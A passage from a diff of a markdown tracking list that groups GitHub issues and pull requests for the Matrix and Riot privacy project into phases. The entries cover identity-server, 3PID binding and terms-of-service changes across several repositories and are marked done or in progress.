HS supports MSC2290](https://github.com/vector-im/riot-android/issues/3322) - * vector-im/riotX-android - * [490 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riotX-android/issues/490) (done) - * [432 Prompt to accept integration manager polices on use](https://github.com/vector-im/riotX-android/issues/432) (in progress) - * [431 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riotX-android/issues/431) - * [433 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riotX-android/issues/433) - * [434 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riotX-android/issues/434) - * [435 Identity server v2 API authentication](https://github.com/vector-im/riotX-android/issues/435) - * [436 Settings: Ability to change the identity server](https://github.com/vector-im/riotX-android/issues/436) - * [438 Settings: Add a Discovery section](https://github.com/vector-im/riotX-android/issues/438) - * [439 Registration: Update consents flow](https://github.com/vector-im/riotX-android/issues/439) - * [489 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riotX-android/issues/489) - * matrix-org/matrix-doc - * [1961 MSC1961: Integration manager authentication APIs](https://github.com/matrix-org/matrix-doc/pull/1961) (done) - * [2078 MSC2078: Sending Third-Party Request Tokens via the Homeserver](https://github.com/matrix-org/matrix-doc/pull/2078) (done) - * [2130 Identity service should do lookups based on hashed 3PIDs, not plaintext ones.](https://github.com/matrix-org/matrix-doc/issues/2130) (done) - * [2134 MSC2134: Identity Hash Lookups](https://github.com/matrix-org/matrix-doc/pull/2134) (done) - * [2139 Method for ISes and Integration managers to provide terms of service](https://github.com/matrix-org/matrix-doc/issues/2139) (done) - * [2140 MSC2140: Terms of Service for ISes and IMs](https://github.com/matrix-org/matrix-doc/pull/2140) (done) - * [2229 MSC2229: Allowing 3PID Owners to Rebind](https://github.com/matrix-org/matrix-doc/pull/2229) (done) - * [2230 MSC2230: Store Identity Server in Account Data](https://github.com/matrix-org/matrix-doc/pull/2230) (done) - * [2263 MSC2263: Give homeservers the ability to handle their own 3PID registrations/password resets](https://github.com/matrix-org/matrix-doc/pull/2263) (done) - * [2264 MSC2264: Add an unstable feature flag to MSC2140 for clients to detect support](https://github.com/matrix-org/matrix-doc/pull/2264) (done) - * [2290 MSC2290: Separate Endpoints for Threepid Binding](https://github.com/matrix-org/matrix-doc/pull/2290) (in progress) - * matrix-org/sydent - * [178 Support for MSC2140](https://github.com/matrix-org/sydent/issues/178) (done) - * [179 Support testing with matrix-is-tester](https://github.com/matrix-org/sydent/pull/179) (done) - * [180 Support for MSC2140](https://github.com/matrix-org/sydent/pull/180) (done) - * [181 Deny bindings to anything other than the mxid you're authed as](https://github.com/matrix-org/sydent/pull/181) (done) - * [184 Hash 3PID lookups](https://github.com/matrix-org/sydent/pull/184) (done) - * [186 Don't fail the unbind request if the binding doesn't exist](https://github.com/matrix-org/sydent/pull/186) (done) - * [187 Add more tweaks to terms branch](https://github.com/matrix-org/sydent/pull/187) (done) - * [189 Redact looked-up threepids from the application logs.](https://github.com/matrix-org/sydent/issues/189) (done) - * [191 Add OpenID auth to 3PID hash lookup](https://github.com/matrix-org/sydent/issues/191) (done) - * [197 Have 'mappings' contain medium as well as address](https://github.com/matrix-org/sydent/pull/197) (done) - * [198 Throw exception on bad args & catch in wrapper](https://github.com/matrix-org/sydent/pull/198) (done) - * [199 Return algorithm, lookup_pepper in M_INVALID_PEPPER response](https://github.com/matrix-org/sydent/pull/199) (done) - * [200 Support MSC2140 register/terms endpoints](https://github.com/matrix-org/sydent/pull/200) (done) - * [201 Port v1 endpoints to v2](https://github.com/matrix-org/sydent/pull/201) (done) - * [202 Deny bindings to anything other than the mxid you're authed as](https://github.com/matrix-org/sydent/pull/202) (done) - * [204 Fix the signing servlet](https://github.com/matrix-org/sydent/pull/204) (done) - * [205 Correct API v1 path check in get_args](https://github.com/matrix-org/sydent/pull/205) (done) - * [206 Fix terms POST](https://github.com/matrix-org/sydent/pull/206) (done) - * [207 Deploy policy file](https://github.com/matrix-org/sydent/issues/207) (done) - * [208 Remove PII logging from log-level INFO](https://github.com/matrix-org/sydent/pull/208) (done) - * [213 Delete threepid assocs on unbind and remove existing with migration](https://github.com/matrix-org/sydent/pull/213) (done) - * [217 Allow non-matrix.org MXIDs via v2 only once terms are enabled](https://github.com/matrix-org/sydent/issues/217) (done) - * [218 Unbind fails to remove the binding on matrix.org IS](https://github.com/matrix-org/sydent/issues/218) (done) - * [220 Unbind fails to work for bindings where it was attempted with #213](https://github.com/matrix-org/sydent/issues/220) (done) - * [192 Sydent doesn't delete 3PIDs from DB on unbind](https://github.com/matrix-org/sydent/issues/192) (in progress) - * matrix-org/synapse - * [1287 We need to actually censor redactions from the DB (SYN-284)](https://github.com/matrix-org/synapse/issues/1287) (done) - * [5751 Make homeservers able to handle registration-with-email without depending on an Identity Server](https://github.com/matrix-org/synapse/issues/5751) (done) - * [5786 Support IS v2 API with authentication for requests proxied to the IS](https://github.com/matrix-org/synapse/issues/5786) (done) - * [5827 Add 3PID unbind API for MSC2140](https://github.com/matrix-org/synapse/issues/5827) (done) - * [5835 [1/2] Allow homeservers to send registration emails | Sending the email](https://github.com/matrix-org/synapse/pull/5835) (done) - * [5861 Use the v2 lookup API for 3PID invites](https://github.com/matrix-org/synapse/issues/5861) (done) - * [5862 Allow account owners to rebind 3PIDs as in MSC2229](https://github.com/matrix-org/synapse/issues/5862) (done) - * [5868 Add flag in /versions for whether clients should send id_server params](https://github.com/matrix-org/synapse/pull/5868) (done) - * [5874 Placeholder issue for privacy migration path](https://github.com/matrix-org/synapse/issues/5874) (done) - * [5875 Remove trusted_third_party_id_servers functionality](https://github.com/matrix-org/synapse/pull/5875) (done) - * [5876 Replace trust_identity_server_for_password_resets with account_threepid_delegate](https://github.com/matrix-org/synapse/pull/5876) (done) - * [5892 Switch to using v2 Identity Service APIs other than lookup (MSC 2140)](https://github.com/matrix-org/synapse/pull/5892) (done) - * [5897 Use the v2 lookup API for 3PID invites](https://github.com/matrix-org/synapse/pull/5897) (done) - * [5927 Add a m.id_access_token flag to unstable_features](https://github.com/matrix-org/synapse/issues/5927) (done) - * [5928 Split account_threepid_handler into a msisdn and email versions](https://github.com/matrix-org/synapse/issues/5928) (done) - * [5929 Use account_threepid_delegate for sending SMS](https://github.com/matrix-org/synapse/issues/5929) (done) - * [5930 Add m.id_access_token flag](https://github.com/matrix-org/synapse/pull/5930) (done) - * [5934 Censor redactions in DB after a month](https://github.com/matrix-org/synapse/pull/5934) (done) - * [5935 Use federation blacklist for requests to identity servers](https://github.com/matrix-org/synapse/issues/5935) (done) - * [5937 Revert "Use the v2 lookup API for 3PID invites"](https://github.com/matrix-org/synapse/pull/5937) (done) - * [5940 [2/2] Allow homeservers to send registration emails | Accepting the verification](https://github.com/matrix-org/synapse/pull/5940) (done) - * [5945 Revert "Add m.id_access_token flag"](https://github.com/matrix-org/synapse/pull/5945) (done) - * [5948 Support v2 Identity Server APIs](https://github.com/matrix-org/synapse/pull/5948) (done) - * [5964 Remove bind_email and bind_msisdn](https://github.com/matrix-org/synapse/pull/5964) (done) - * [5968 Set m.require_identity_server to always be False](https://github.com/matrix-org/synapse/pull/5968) (done) - * [5969 Change account_threepid_delegate to a dictionary](https://github.com/matrix-org/synapse/pull/5969) (done) - * [5972 Add m.require_identity_server to /versions unstable_flags](https://github.com/matrix-org/synapse/pull/5972) (done) - * [5974 Add m.id_access_token to /versions unstable_features (MSC2264)](https://github.com/matrix-org/synapse/pull/5974) (done) - * [5976 Use the v2 Identity Service API for lookups (MSC2134 + MSC2140)](https://github.com/matrix-org/synapse/pull/5976) (done) - * [5979 v2 3PID Invites (part of MSC2140)](https://github.com/matrix-org/synapse/pull/5979) (done) - * [5980 Add POST /_matrix/client/r0/account/3pid/unbind (MSC2140)](https://github.com/matrix-org/synapse/pull/5980) (done) - * [5987 Allow Synapse to send registration emails + choose Synapse or an external server to handle 3pid validation](https://github.com/matrix-org/synapse/pull/5987) (done) - * [5996 Allow users to rebind 3pids they own (MSC2229)](https://github.com/matrix-org/synapse/pull/5996) (done) - * [6000 Use the federation blacklist for requests to untrusted Identity Servers](https://github.com/matrix-org/synapse/pull/6000) (done) - * [6011 Use account_threepid_delegate for 3pid validation](https://github.com/matrix-org/synapse/pull/6011) (done) - * [6013 Fix existing v2 identity server calls (MSC2140)](https://github.com/matrix-org/synapse/pull/6013) (done) - * [6042 Allow HS to send emails when adding an email to the HS](https://github.com/matrix-org/synapse/pull/6042) (done) - * [6043 Implement MSC2290](https://github.com/matrix-org/synapse/pull/6043) (done) - * [6044 Add an unstable feature flag for separate add/bind 3pid APIs](https://github.com/matrix-org/synapse/pull/6044) (done) - * [6062 Use unstable prefix for 3PID unbind API](https://github.com/matrix-org/synapse/pull/6062) (done) - * [6067 Drop support for bind param on POST /account/3pid (MSC2290)](https://github.com/matrix-org/synapse/pull/6067) (done) - * [6076 Synapse doesn't give clients a submit_url on requestToken breaking msisdn adding](https://github.com/matrix-org/synapse/issues/6076) (done) - * [6078 Add POST submit_token endpoint for MSISDN](https://github.com/matrix-org/synapse/pull/6078) (done) - * [6079 Add submit_url response parameter to msisdn /requestToken](https://github.com/matrix-org/synapse/pull/6079) (done) - * [6087 Remove hardcoded defaults of matrix.org and vector.im in configuration](https://github.com/matrix-org/synapse/issues/6087) (done) - * [6090 Explicitly log when a homeserver does not have a trusted key server configured ](https://github.com/matrix-org/synapse/pull/6090)(done) - * [6096 Riot Web expects the email validation next_link to have the sid appended](https://github.com/matrix-org/synapse/issues/6096) (done) - * [6100 Remove email from registration flows if it’s unsupported](https://github.com/matrix-org/synapse/issues/6100) (done) - * [6103 _check_threepid in auth.py incorrect for MSISDN](https://github.com/matrix-org/synapse/issues/6103) (done) - * [6045 Support Client-Server API r0.6.0](https://github.com/matrix-org/synapse/issues/6045) (in progress) - * [1263 When we redact events, any mxc content they refer to should be redacted too (SYN-216)](https://github.com/matrix-org/synapse/issues/1263) - * [4565 Metadata resistance.](https://github.com/matrix-org/synapse/issues/4565) - * [6086 Fetch signing-keys directly from servers before falling back to the trusted_key_servers](https://github.com/matrix-org/synapse/issues/6086) -* phase:2 - * vector-im/riot-web - * [4913 Option for homeservers to set a default integration manager](https://github.com/vector-im/riot-web/issues/4913) (done) - * [10161 Store Integration Manager preferences in account data and allow user to change them somewhere sensible](https://github.com/vector-im/riot-web/issues/10161) (done) - * [10967 Disconnect from identity server fails](https://github.com/vector-im/riot-web/issues/10967) (done) - * [10443 Remove v1 IS API fallbacks once servers are updated](https://github.com/vector-im/riot-web/issues/10443) - * [10557 Prompt users each time before sending data to an Identity Server that doesn't have a terms of service (unless you have actively set that IS in your account data).](https://github.com/vector-im/riot-web/issues/10557) - * [10696 Allow users to disconnect from an integration manager entirely in the same way that we support doing this for identity servers](https://github.com/vector-im/riot-web/issues/10696) - * [10909 Unable to disconnect from IS if the server is unavailable](https://github.com/vector-im/riot-web/issues/10909) - * [10936 Refine submit_url handling to only activate with separate add and bind](https://github.com/vector-im/riot-web/issues/10936) - * vector-im/riot-ios - * [2711 Provide a better UX for users considering sharing their contact list with an IS to discover people they know already using Matrix](https://github.com/vector-im/riot-ios/issues/2711) - * vector-im/riot-android - * [3282 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-android/issues/3282) - * [3323 Post MSC2290 bug / Clicking on the validation mail link fails registration](https://github.com/vector-im/riot-android/issues/3323) - * matrix-org/matrix-doc - * [1957 MSC1957: Integration manager discovery](https://github.com/matrix-org/matrix-doc/pull/1957) (done) - * matrix-org/sydent - * [196 Remove the lookup_hash field from local_threepid_associations](https://github.com/matrix-org/sydent/issues/196) (in progress) - * matrix-org/synapse - * [5881 Remove trust_identity_server_for_password_resets and account_threepid_delegate options](https://github.com/matrix-org/synapse/issues/5881) -* phase:3 - * vector-im/riot-web - * [10563 Add better domain for turn.matrix.org use as STUN server](https://github.com/vector-im/riot-web/issues/10563) (done) - * [10087 Prompt to accept integration manager policies on registration](https://github.com/vector-im/riot-web/issues/10087) - * [10167 Present an aggregated terms of service dialogue at registration if possible](https://github.com/vector-im/riot-web/issues/10167) - * [10168 If a user has disabled the identity server integration on their account, we should make invite user handle this nicely](https://github.com/vector-im/riot-web/issues/10168) - * [10401 Invite new users to publish their threepids to the identity server](https://github.com/vector-im/riot-web/issues/10401) - * [10422 Use more contextual prompt for integration manager polices on use](https://github.com/vector-im/riot-web/issues/10422) - * [10453 Log out from IM on Riot log out and IM removal](https://github.com/vector-im/riot-web/issues/10453) - * [10455 Log out from IS on Riot log out and IS removal](https://github.com/vector-im/riot-web/issues/10455) - * [10487 Store the date of users having read and accepted the IM policies in the IM db](https://github.com/vector-im/riot-web/issues/10487) - * [10488 Store the date of users having read and accepted the IS policies in the IS db](https://github.com/vector-im/riot-web/issues/10488) - * [10498 Terms test scalar requires the legacy ?v query param on the new account route](https://github.com/vector-im/riot-web/issues/10498) - * [10575 We should show the 'must configure TURN' warning when a call fails, even after using the fallback turn.matrix.org](https://github.com/vector-im/riot-web/issues/10575) - * [10615 Change all IS access token APIs to use getIdentityAccessToken only](https://github.com/vector-im/riot-web/issues/10615) - * [10671 riot submits sign-ed25519 requests as POST requests with params in query string and empty body](https://github.com/vector-im/riot-web/issues/10671) - * [10746 /invite doesn't force terms with older homeservers](https://github.com/vector-im/riot-web/issues/10746) - * [10830 Show IS policy links in user settings somewhere.](https://github.com/vector-im/riot-web/issues/10830) - * [10950 Unhelpful 400 error when adding MSISDN and server doesn’t delegate](https://github.com/vector-im/riot-web/issues/10950) - * vector-im/riot-ios - * [2710 Show IS policy links in user settings somewhere.](https://github.com/vector-im/riot-ios/issues/2710) - * matrix-org/matrix-doc - * [447 We need a way to be able to expire data from a HS. (SPEC-141)](https://github.com/matrix-org/matrix-doc/issues/447) - * matrix-org/synapse - * [5830 `pushers` table contains user device names, which may include user real names](https://github.com/matrix-org/synapse/issues/5830) - +* phase:1 + * vector-im/riot-web + * [5846 Riot duplicates calls to Scalar](https://github.com/vector-im/riot-web/issues/5846) (done) + * [5921 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-web/issues/5921) (done) + * [6802 riot shouldn't try to load integrations from an integration manager unless the user has accepted that manager's privacy policies](https://github.com/vector-im/riot-web/issues/6802) (done) + * [10088 Prompt to accept integration manager polices on use](https://github.com/vector-im/riot-web/issues/10088) (done) + * [10090 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-web/issues/10090) (done) + * [10091 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-web/issues/10091) (done) + * [10092 Prompt to accept Identity Server policies on registration](https://github.com/vector-im/riot-web/issues/10092) (done) + * [10093 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-web/issues/10093) (done) + * [10094 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-web/issues/10094) (done) + * [10159 Enable toggling a threepid's association with the current IS in User Settings](https://github.com/vector-im/riot-web/issues/10159) (done) + * [10173 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-web/issues/10173) (done) + * [10216 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-web/issues/10216) (done) + * [10386 Terms modal prompt should appear without a flash of the integration manager portal first](https://github.com/vector-im/riot-web/issues/10386) (done) + * [10408 Identity server v2 API authentication](https://github.com/vector-im/riot-web/issues/10408) (done) + * [10423 Deploy a develop environment for t's and c's flows for IM and IS](https://github.com/vector-im/riot-web/issues/10423) (done) + * [10424 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-web/issues/10424) (done) + * [10425 Ability to disconnect from the identity server by pressing buttons in user settings.](https://github.com/vector-im/riot-web/issues/10425) (done) + * [10452 Test IS v2 access tokens for validity](https://github.com/vector-im/riot-web/issues/10452) (done) + * [10497 Integration manager terms hides terms that need signing](https://github.com/vector-im/riot-web/issues/10497) (done) + * [10510 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-web/issues/10510) (done) + * [10519 Update discovery and account 3PID sections when either changes](https://github.com/vector-im/riot-web/issues/10519) (done) + * [10522 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-web/issues/10522) (done) + * [10525 IS interactions proxied through the HS also need terms agreement](https://github.com/vector-im/riot-web/issues/10525) (done) + * [10528 don't try & show threepids in discovery section if we don't have an ID server](https://github.com/vector-im/riot-web/issues/10528) (done) + * [10539 Inline terms agreement on change IS and IM](https://github.com/vector-im/riot-web/issues/10539) (done) + * [10540 When using Riot without an IS, identity requests are sent to server hosting Riot](https://github.com/vector-im/riot-web/issues/10540) (done) + * [10546 Prompt for fallback VOIP should only happen when the user tries to make a call](https://github.com/vector-im/riot-web/issues/10546) (done) + * [10550 warn when disconnecting ID server if there are any current bindings](https://github.com/vector-im/riot-web/issues/10550) (done) + * [10552 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-web/issues/10552) (done) + * [10553 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-web/issues/10553) (done) + * [10556 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-web/issues/10556) (done) + * [10561 Scalar should serve a .well-known file](https://github.com/vector-im/riot-web/issues/10561) (done) + * [10566 Use nicer APIs for toggling a 3PID's shared status](https://github.com/vector-im/riot-web/issues/10566) (done) + * [10571 Allow email registration when no IS](https://github.com/vector-im/riot-web/issues/10571) (done) + * [10572 Allow password reset when no IS](https://github.com/vector-im/riot-web/issues/10572) (done) + * [10573 Allow adding 3pids when no IS](https://github.com/vector-im/riot-web/issues/10573) (done) + * [10574 Placeholder issue for MSCs that should land prior to the privacy release](https://github.com/vector-im/riot-web/issues/10574) (done) + * [10593 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-web/issues/10593) (done) + * [10597 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-web/issues/10597) (done) + * [10599 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-web/issues/10599) (done) + * [10603 Getting a terms prompt when inviting an email address clears the address picker](https://github.com/vector-im/riot-web/issues/10603) (done) + * [10619 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-web/issues/10619) (done) + * [10620 Change auth flows so that you default to no IS](https://github.com/vector-im/riot-web/issues/10620) (done) + * [10634 Changing to vector.im IS in Settings fails because /terms 404s](https://github.com/vector-im/riot-web/issues/10634) (done) + * [10635 Inline terms agreement in Discovery should still show change and do not use](https://github.com/vector-im/riot-web/issues/10635) (done) + * [10636 The UX is a little confusing if you haven't accepted the terms of the default identity server.](https://github.com/vector-im/riot-web/issues/10636) (done) + * [10637 Unable to add email address to HS account without IS set](https://github.com/vector-im/riot-web/issues/10637) (done) + * [10660 Sydent implementation: Unauthed v1, clone all endpoints, auth v2](https://github.com/vector-im/riot-web/issues/10660) (done) + * [10666 In login/register, riot freezes if you go to Advanced, remove the IS url and click next](https://github.com/vector-im/riot-web/issues/10666) (done) + * [10669 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-web/issues/10669) (done) + * [10674 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-web/issues/10674) (done) + * [10677 Change text about other users being able to invite you by email on registration page](https://github.com/vector-im/riot-web/issues/10677) (done) + * [10744 Only set terms URLs in the account when they change](https://github.com/vector-im/riot-web/issues/10744) (done) + * [10749 Changing from one IS to another does not trigger bound 3PID warning](https://github.com/vector-im/riot-web/issues/10749) (done) + * [10750 Bound 3PIDs warning should better explain what's being left behind](https://github.com/vector-im/riot-web/issues/10750) (done) + * [10754 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-web/issues/10754) (done) + * [10755 Terms account data is meant to be additive, but currently sets only new URLs](https://github.com/vector-im/riot-web/issues/10755) (done) + * [10756 After changing IS to termstest.matrix.org the text field isn't cleared and the button remains active](https://github.com/vector-im/riot-web/issues/10756) (done) + * [10757 After changing IS back to vector.im the text field isn't cleared and the button remains active](https://github.com/vector-im/riot-web/issues/10757) (done) + * [10758 Revoke may be too vague for unbinding a 3PID](https://github.com/vector-im/riot-web/issues/10758) (done) + * [10779 When publishing a threepid to an IS, if you click 'continue' before clicking the link in your email, we delete your threepid from the HS.](https://github.com/vector-im/riot-web/issues/10779) (done) + * [10800 Community invite should not talk about ISes at all.](https://github.com/vector-im/riot-web/issues/10800) (done) + * [10823 IS with unagreed terms will block you from adding even unshared 3PIDs to your HS](https://github.com/vector-im/riot-web/issues/10823) (done) + * [10839 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist.](https://github.com/vector-im/riot-web/issues/10839) (done) + * [10878 UX regression when trying to invite by email if no IS is configured](https://github.com/vector-im/riot-web/issues/10878) (done) + * [10883 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-web/issues/10883) (done) + * [10923 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-web/issues/10923) (done) + * [10933 Do not include ID server or access token when HS supports MSC2290](https://github.com/vector-im/riot-web/issues/10933) (done) + * [10939 Registration with MSISDN needs to use submit_url](https://github.com/vector-im/riot-web/issues/10939) (done) + * [10941 threepid_creds for registration and password reset still include id_server](https://github.com/vector-im/riot-web/issues/10941) (done) + * [10959 Remove id_server from email threepid_creds](https://github.com/vector-im/riot-web/issues/10959) (done) + * [10604 QA: Re-test ALL of the identity server interactions](https://github.com/vector-im/riot-web/issues/10604) (in progress) + * [10958 Terms of Service nitpicks](https://github.com/vector-im/riot-web/issues/10958) (in progress) + * [10704 We treat an empty string identity server as not having one](https://github.com/vector-im/riot-web/issues/10704) + * vector-im/riot-ios + * [2518 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-ios/issues/2518) (done) + * [2521 Privacy: Improve wording on contact upload UI](https://github.com/vector-im/riot-ios/issues/2521) (done) + * [2532 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-ios/issues/2532) (done) + * [2600 Prompt to accept integration manager polices on use](https://github.com/vector-im/riot-ios/issues/2600) (done) + * [2601 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-ios/issues/2601) (done) + * [2602 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-ios/issues/2602) (done) + * [2603 Identity server v2 API authentication](https://github.com/vector-im/riot-ios/issues/2603) (done) + * [2606 Settings: Add a Discovery section](https://github.com/vector-im/riot-ios/issues/2606) (done) + * [2608 Registration: Update consents flow](https://github.com/vector-im/riot-ios/issues/2608) (done) + * [2643 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-ios/issues/2643) (done) + * [2646 VoIP: Fallback to matrix.org STUN server with a confirmation dialog](https://github.com/vector-im/riot-ios/issues/2646) (done) + * [2647 MXRestClient: Move IS API to its own](https://github.com/vector-im/riot-ios/issues/2647) (done) + * [2648 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-ios/issues/2648) (done) + * [2650 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-ios/issues/2650) (done) + * [2651 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-ios/issues/2651) (done) + * [2652 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-ios/issues/2652) (done) + * [2653 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-ios/issues/2653) (done) + * [2654 Use nicer APIs for toggling a 3PID's shared status](https://github.com/vector-im/riot-ios/issues/2654) (done) + * [2657 Allow email registration when no IS](https://github.com/vector-im/riot-ios/issues/2657) (done) + * [2658 Allow password reset when no IS](https://github.com/vector-im/riot-ios/issues/2658) (done) + * [2659 Allow adding 3pids when no IS](https://github.com/vector-im/riot-ios/issues/2659) (done) + * [2660 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-ios/issues/2660) (done) + * [2661 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-ios/issues/2661) (done) + * [2662 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-ios/issues/2662) (done) + * [2664 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-ios/issues/2664) (done) + * [2665 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-ios/issues/2665) (done) + * [2672 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-ios/issues/2672) (done) + * [2675 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-ios/issues/2675) (done) + * [2682 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-ios/issues/2682) (done) + * [2686 Use wellknown to discover the IS of a custom HS](https://github.com/vector-im/riot-ios/issues/2686) (done) + * [2696 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-ios/issues/2696) (done) + * [2704 Use `id_access_token` in CS API when required](https://github.com/vector-im/riot-ios/issues/2704) (done) + * [2604 Settings: Ability to change the identity server](https://github.com/vector-im/riot-ios/issues/2604) (in progress) + * [2649 Ability to disconnect from the identity server by pressing buttons in user settings](https://github.com/vector-im/riot-ios/issues/2649) (in progress) + * [2713 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist.](https://github.com/vector-im/riot-ios/issues/2713) (in progress) + * [2718 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-ios/issues/2718) (in progress) + * [2683 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-ios/issues/2683) + * [2731 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-ios/issues/2731) + * [2732 Do not include ID server or access token when HS supports MSC2290](https://github.com/vector-im/riot-ios/issues/2732) + * [2736 IS terms cannot be accepted anymore](https://github.com/vector-im/riot-ios/issues/2736) + * vector-im/riot-android + * [3223 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-android/issues/3223) (done) + * [3224 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-android/issues/3224) (done) + * [3225 Prompt to accept integration manager polices on use](https://github.com/vector-im/riot-android/issues/3225)(done) + * [3226 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-android/issues/3226) (done) + * [3227 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-android/issues/3227) (done) + * [3228 Identity server v2 API authentication](https://github.com/vector-im/riot-android/issues/3228) (done) + * [3229 Settings: Ability to change the identity server](https://github.com/vector-im/riot-android/issues/3229) (done) + * [3230 Settings: Add a Discovery section](https://github.com/vector-im/riot-android/issues/3230) (done) + * [3231 Registration: Update consents flow](https://github.com/vector-im/riot-android/issues/3231) (done) + * [3252 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-android/issues/3252) (done) + * [3253 Ability to disconnect from the identity server by pressing buttons in user settings](https://github.com/vector-im/riot-android/issues/3253) (done) + * [3254 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-android/issues/3254) (done) + * [3256 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-android/issues/3256) (done) + * [3257 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-android/issues/3257) (done) + * [3258 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-android/issues/3258) (done) + * [3260 Allow email registration when no IS](https://github.com/vector-im/riot-android/issues/3260) (done) + * [3261 Allow password reset when no IS](https://github.com/vector-im/riot-android/issues/3261) (done) + * [3262 Allow adding 3pids when no IS](https://github.com/vector-im/riot-android/issues/3262) (done) + * [3263 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-android/issues/3263) (done) + * [3264 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-android/issues/3264) (done) + * [3265 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-android/issues/3265) (done) + * [3268 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-android/issues/3268) (done) + * [3269 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-android/issues/3269) (done) + * [3277 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-android/issues/3277) (done) + * [3278 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-android/issues/3278) (done) + * [3281 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-android/issues/3281) (done) + * [3283 Use wellknown to discover the IS of a custom HS](https://github.com/vector-im/riot-android/issues/3283) (done) + * [3289 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-android/issues/3289) (done) + * [3295 Use `id_access_token` in CS API when required](https://github.com/vector-im/riot-android/issues/3295) (done) + * [3300 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist.](https://github.com/vector-im/riot-android/issues/3300)(done) + * [3312 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-android/issues/3312) (done) + * [3316 Implement MSC2290](https://github.com/vector-im/riot-android/issues/3316) (done) + * [3324 id_server param sent when registering an email on server that does not requires one](https://github.com/vector-im/riot-android/issues/3324) (done) + * [3326 Discovery Settings / infinite loading if terms not signed on existing IS](https://github.com/vector-im/riot-android/issues/3326) (done) + * [3327 vector.im is seen as having no terms, but it does](https://github.com/vector-im/riot-android/issues/3327) (done) + * [3251 VoIP: Fallback to matrix.org STUN server with a confirmation dialog](https://github.com/vector-im/riot-android/issues/3251) (in progress) + * [3248 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-android/issues/3248) + * [3318 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-android/issues/3318) + * [3322 Do not include ID server or access token when HS supports MSC2290](https://github.com/vector-im/riot-android/issues/3322) + * vector-im/riotX-android + * [490 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riotX-android/issues/490) (done) + * [432 Prompt to accept integration manager polices on 